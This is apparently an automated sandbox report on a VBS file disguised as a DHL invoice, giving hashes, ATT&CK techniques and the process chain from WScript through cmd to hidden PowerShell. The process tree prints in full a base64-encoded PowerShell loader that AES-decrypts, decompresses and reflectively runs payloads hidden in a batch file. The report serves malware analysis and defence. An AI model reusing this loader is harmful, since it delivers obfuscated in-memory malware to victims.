15bebd4f7e43add41443b28becd68ee0bd7146a721be2eb0ed99cf89cd4ca5d6

General

Target

DHL-INVOICE_10094519030720250009.vbs
Size

98KB
MD5

33e243596a995b134c3862d2746d3a3a
SHA1

dc51212190c79cd89cfb6a629e3f7299673fa003
SHA256

d28c3371542ec4275020001c02ae26f41d0a11109375cffee6d22f56b9fc5259
SHA512

545089424ea61e9c3871a75170d8695331bd991bf7fe8d10a5dd9a136db8b2015f9083faf86023c751550a9faa44ceb6ebfe5b6ae2d593d4261678eaa5a739c5
SSDEEP

1536:PxfjFMLSEGgcX4XTA66MrhZLVzsBjuBl6D584BuvQNkHGwhJiz1U8x8x0yCzkIXG:PxGfjjLVzsBKB+uvNHTAaw8CyWVG

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2716	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2716	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 2752	2192	WScript.exe	28
PID 2192 wrote to memory of 2752	2192	WScript.exe	28
PID 2192 wrote to memory of 2752	2192	WScript.exe	28
PID 2752 wrote to memory of 2744	2752	cmd.exe	30
PID 2752 wrote to memory of 2744	2752	cmd.exe	30
PID 2752 wrote to memory of 2744	2752	cmd.exe	30
PID 2744 wrote to memory of 2716	2744	cmd.exe	32
PID 2744 wrote to memory of 2716	2744	cmd.exe	32
PID 2744 wrote to memory of 2716	2744	cmd.exe	32
PID 2744 wrote to memory of 2716	2744	cmd.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL-INVOICE_10094519030720250009.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskbG95b28gPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGxveW9vKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRsb3lvbyIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRsb3lvbywgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkbG95b28iIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24geXB2anooJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0I1OTMwTk16K2RyZWpZMFNUbTcyRWlyazdtWUtyV0EzYkoxRmFyT2FtVmM9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2lDeUF0MytKQTFhQnNFeDliOWd6NGc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gdGl3cmkoJHBhcmFtX3Zhcil7CSR0em9oZz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkZGN4YWk9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkeHZ6ZnE9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkdHpvaGcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHh2emZxLkNvcHlUbygkZGN4YWkpOwkkeHZ6ZnEuRGlzcG9zZSgpOwkkdHpvaGcuRGlzcG9zZSgpOwkkZGN4YWkuRGlzcG9zZSgpOwkkZGN4YWkuVG9BcnJheSgpO31mdW5jdGlvbiBucnRnbSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGtyZWZ3PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGxidG5pPSRrcmVmdy5FbnRyeVBvaW50OwkkbGJ0bmkuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGxveW9vOyR2cmdqej1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGxveW9vKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkdWlrIGluICR2cmdqeikgewlpZiAoJHVpay5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGl3em14PSR1aWsuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG9uZW15PVtzdHJpbmdbXV0kaXd6bXguU3BsaXQoJ1wnKTskdndkaXE9dGl3cmkgKHlwdmp6IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG9uZW15WzBdKSkpOyRqY2ZwYz10aXdyaSAoeXB2anogKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkb25lbXlbMV0pKSk7bnJ0Z20gJHZ3ZGlxICRudWxsO25ydGdtICRqY2ZwYyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8byJYfE.bat

Filesize
88KB

MD5
3d0e294629c4b980cd16801696dc84cc

SHA1
24b01453f405ca41d30c484cc7ef72a2d082d54a

SHA256
d4f97ee756677f0c7e58b5528f4b70b58e8fd5c9929af6f9148d9e3c3df5ae2a

SHA512
f146cfe93b3bdd562542ef1150f81c0d8c3c852d78b770b77a47815e4b99005aba8e2a55134d6b7ed0be192402ca7b6ceb831e3b2bc66a599a20eb15c6e5ea5f

Download Submit
memory/2716-13-0x00000000746D1000-0x00000000746D2000-memory.dmp

Filesize
4KB

Download
memory/2716-14-0x00000000746D0000-0x0000000074C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2716-15-0x00000000746D0000-0x0000000074C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2716-16-0x00000000746D0000-0x0000000074C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2716-17-0x00000000746D0000-0x0000000074C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2716-18-0x00000000746D0000-0x0000000074C7B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing